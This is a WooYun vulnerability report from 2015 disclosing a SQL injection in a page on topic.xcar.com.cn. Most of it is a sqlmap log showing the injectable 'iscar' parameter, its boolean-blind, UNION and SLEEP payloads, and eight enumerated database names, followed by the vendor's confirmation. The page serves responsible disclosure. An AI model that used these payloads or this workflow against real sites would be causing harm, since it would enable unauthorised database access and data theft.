当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091977

漏洞标题:爱卡汽车网某站点SQL注入漏洞可跨库

相关厂商:爱卡汽车网

漏洞作者: #6c6c6c

提交时间:2015-01-15 09:38

修复时间:2015-03-01 09:40

公开时间:2015-03-01 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

sql,求rank啊

详细说明:

注入地址:http://topic.xcar.com.cn/201107/jlys/list.php?iscar=1&count=21&per=8&cu
r=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:31:47
[06:31:48] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\topic.xcar
.com.cn\session' as session file
[06:31:48] [INFO] testing connection to the target url
[06:31:48] [INFO] testing if the url is stable, wait a few seconds
[06:31:49] [INFO] url is stable
[06:31:49] [INFO] testing if GET parameter 'iscar' is dynamic
[06:31:54] [INFO] confirming that GET parameter 'iscar' is dynamic
[06:31:58] [INFO] GET parameter 'iscar' is dynamic
[06:31:58] [WARNING] heuristic test shows that GET parameter 'iscar' might not b
e injectable
[06:31:58] [INFO] testing sql injection on GET parameter 'iscar'
[06:31:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:32:01] [INFO] GET parameter 'iscar' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[06:32:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:32:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:32:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:32:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:33:02] [INFO] GET parameter 'iscar' is 'MySQL > 5.0.11 AND time-based blind'
injectable
[06:33:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:33:03] [INFO] target url appears to be UNION injectable with 8 columns
[06:33:05] [INFO] GET parameter 'iscar' is 'MySQL UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'iscar' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
[06:34:35] [INFO] testing if GET parameter 'count' is dynamic
[06:34:36] [INFO] confirming that GET parameter 'count' is dynamic
[06:34:36] [INFO] GET parameter 'count' is dynamic
[06:34:36] [WARNING] heuristic test shows that GET parameter 'count' might not b
e injectable
[06:34:36] [INFO] testing sql injection on GET parameter 'count'
[06:34:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:34:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:34:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:34:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:34:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:34:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:34:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:34:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:34:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:34:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:34:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:34:44] [INFO] testing 'Oracle AND time-based blind'
[06:34:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:34:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:01] [WARNING] GET parameter 'count' is not injectable
[06:35:01] [INFO] testing if GET parameter 'per' is dynamic
[06:35:02] [INFO] confirming that GET parameter 'per' is dynamic
[06:35:02] [INFO] GET parameter 'per' is dynamic
[06:35:02] [WARNING] heuristic test shows that GET parameter 'per' might not be
injectable
[06:35:02] [INFO] testing sql injection on GET parameter 'per'
[06:35:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:06] [INFO] testing 'Oracle AND time-based blind'
[06:35:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:14] [WARNING] GET parameter 'per' is not injectable
[06:35:14] [INFO] testing if GET parameter 'cur' is dynamic
[06:35:14] [INFO] confirming that GET parameter 'cur' is dynamic
[06:35:14] [INFO] GET parameter 'cur' is dynamic
[06:35:15] [WARNING] heuristic test shows that GET parameter 'cur' might not be
injectable
[06:35:15] [INFO] testing sql injection on GET parameter 'cur'
[06:35:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:25] [INFO] testing 'Oracle AND time-based blind'
[06:35:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:41] [WARNING] GET parameter 'cur' is not injectable
sqlmap identified the following injection points with a total of 477 HTTP(s) req
uests:
---
Place: GET
Parameter: iscar
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: iscar=1 AND 5298=5298&count=21&per=8&cur=1
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: iscar=1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a666a743a,0x53
63456b474961614b71,0x3a7671743a), NULL, NULL, NULL, NULL#&count=21&per=8&cur=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: iscar=1 AND SLEEP(5)&count=21&per=8&cur=1
---
[06:35:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[06:35:41] [INFO] fetching database names
[06:35:41] [INFO] the SQL query used returns 8 entries
[06:35:41] [INFO] retrieved: "information_schema"
[06:35:41] [INFO] retrieved: "bd_seo"
[06:35:41] [INFO] retrieved: "branchdb"
[06:35:42] [INFO] retrieved: "seo"
[06:35:42] [INFO] retrieved: "test"
[06:35:42] [INFO] retrieved: "xcardb"
[06:35:42] [INFO] retrieved: "xcardb2"
[06:35:42] [INFO] retrieved: "xcardb2_new"
available databases [8]:
[*] bd_seo
[*] branchdb
[*] information_schema
[*] seo
[*] test
[*] xcardb
[*] xcardb2
[*] xcardb2_new
[06:35:42] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\topic.xcar.com.cn'
[*] shutting down at 06:35:42

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-15 09:46

厂商回复:

感谢@#6c6c6c 白帽子的帮助,我们会马上修复!

最新状态:

暂无